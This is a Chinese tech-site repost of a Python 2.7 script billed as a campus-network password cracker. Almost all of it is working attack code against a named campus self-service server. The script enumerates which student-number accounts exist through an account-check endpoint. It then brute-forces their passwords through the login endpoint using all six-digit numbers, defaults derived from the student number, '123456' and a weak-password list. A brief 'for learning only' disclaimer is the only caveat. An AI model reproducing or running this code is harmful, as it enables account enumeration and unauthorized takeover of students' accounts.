千家信息网

校园网密码破解程序

发表于:2025-01-23 作者:千家信息网编辑
千家信息网最后更新 2025年01月23日,环境:Python 2.7#!/usr/bin/env python#coding=utf8print "+"*50print u"功能:简单破解校园网账号"print u"微信公众号:电脑趣事"pr
千家信息网最后更新 2025年01月23日校园网密码破解程序

环境:Python 2.7

#!/usr/bin/env python#coding=utf8print "+"*50print u"功能:简单破解校园网账号"print u"微信公众号:电脑趣事"print u"仅供学习交流使用,严禁违法犯罪,否则后果自负"print "+"*50import httplibimport urllibimport reusername=[]httpClient = NoneIf_password =[000000,123456,123123,456456,789789,110110,110120,111111,222222,333333,444444,555555,666666,777777,888888,999999,5201314]def Determine():        nj = int(raw_input("please select a class 15,16,17:").strip())        start =int(raw_input("please input start(Prompt:1234):").strip())        end = int(raw_input("please input end(Prompt:5678):").strip())                if (end <=start or (nj != 15 and nj != 16 and nj!=17)):                print u"输入有误,请重新选择"                print '='*50                menu()                exit()        else:                print "please wait a moment "        #构造学号        for i in range(start,end):            for j in range(0,100):                key_numer = int(str(nj)+str(i).zfill(4)+str(j).zfill(3))                                try:                    params = urllib.urlencode({'key': key_numer})                    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}                    httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)                    httpClient.request("POST", "/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser", params, headers)                    response = httpClient.getresponse()                    right_or_wrong = response.read()                    #正则和判断                    zhengze = re.findall( r'false',right_or_wrong , re.M|re.I)                    if len(zhengze) == 1:                        username.append(key_numer)                                    except Exception, e:                    print e                finally:                    if httpClient:                        httpClient.close()        print "."*50        print u"在这个范围内已开通的账号有:"        print ""        print username        print "."*50        return usernamedef Connect(UserName,PassWord):        global a        try:                params = urllib.urlencode({'name': UserName,'password':PassWord})                headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}                httpClient = httplib.HTTPConnection("10.54.100.1", 8080, timeout=30)                httpClient.request("POST", "/selfservice/module/scgroup/web/login_judge.jsf", params, headers)                response = httpClient.getresponse()                right_or_wrong = response.read()                pipei = re.findall(r'errorMsg', right_or_wrong, re.M|re.I)                if len(pipei)==1:                        a = 0 #判断是否爆破出来的标记                        pass                else:                        print u"账号:%s\000\000密码:%s"%(UserName,PassWord)                        a = 1                                except Exception, e:                print e        finally:                if httpClient:                    httpClient.close()        return adef yanzheng():        UserName = str(raw_input("please select a username input:").strip())        for i in range(0,1000000):                PassWord = str(i).zfill(6)                Connect(UserName,PassWord)                if a == 1:                        break                else:                        passdef Default_password_single():        UserName = str(raw_input("please select a username input:").strip())        PassWord = UserName[3:10]        Connect(UserName,PassWord)        if a ==0:                PassWord = '123456'                Connect(UserName,PassWord)                if a==0:                        print u"已经查找完成"def Default_password_not_single():        print "please wait a moment"        for i in range(0,len(username)):                UserName = str(username[i])                PassWord = UserName[3:10]                Connect(UserName,PassWord)                if a ==0:                        PassWord = '123456'                        Connect(UserName,PassWord)                        if (i==len(username)-1 and a == 0):                                print u"已经查找完成"def if_password():        print "please wait a moment"        for i in range(0,len(username)):                UserName = str(username[i])                   for j in range(0,len(If_password)):                        PassWord = If_password[j]                        Connect(UserName,PassWord)                        if (i==len(username)-1 and j==len(If_password)-1 and a == 0):                                print u"已经查找完毕"                    def menu():    print u"欢迎大家关注微信公众号:"电脑趣事",请选择菜单"    while True:            print "*"*50            print u"\t(1) 查看已经注册的账号"            print u"\t(2) 简单的爆破"            print u"\t(3) 默认密码单个查询"            print u"\t(4) 默认密码批量查询"            print u"\t(5) 弱口令爆破"            print "*"*50        choices = raw_input("Please choices:").strip()        if len(choices) == 0:                continue        if choices == '1':                Determine()            elif choices == '2':                    yanzheng()            elif choices == '3':                    Default_password_single()            elif choices == '4':                    Default_password_not_single()            elif choices == '5':                    if_password()        else:            print u"请注意账号安全!"            exit()if __name__ == '__main__':        menu()        







微信公众号

0